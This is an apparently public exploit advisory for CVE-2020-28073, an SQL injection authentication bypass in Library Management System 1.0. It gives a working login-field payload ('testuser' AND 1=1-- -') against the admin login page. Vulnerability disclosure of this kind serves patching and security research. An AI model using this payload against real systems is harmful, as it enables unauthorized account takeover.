

Library Management System 1.0 SQL Injection

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Library Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

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```
# Exploit Title: Authentication Bypass via SQL injection on Library Management System
# Date: 23/10/2020
# Exploit Author: Valerio Alessandrini
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14545/online-library-management-system-phpmyasqli-f ull-
source-code-2020.html
# Version: 1.0
# Tested on: ubuntu 18.04
# CVE : CVE-2020-28073
# Description:

SQL injection on Library Management System v1.0 allows a potentially attacker to bypass the user authentication
and impersonificate every user on the system.

# Reproduction:

~ Go to login page (http://127.0.0.1/Library/Admin/adminlogin.php) and try to bypass login.

username: testuser' AND 1=1-- - password: RandomlyText
```

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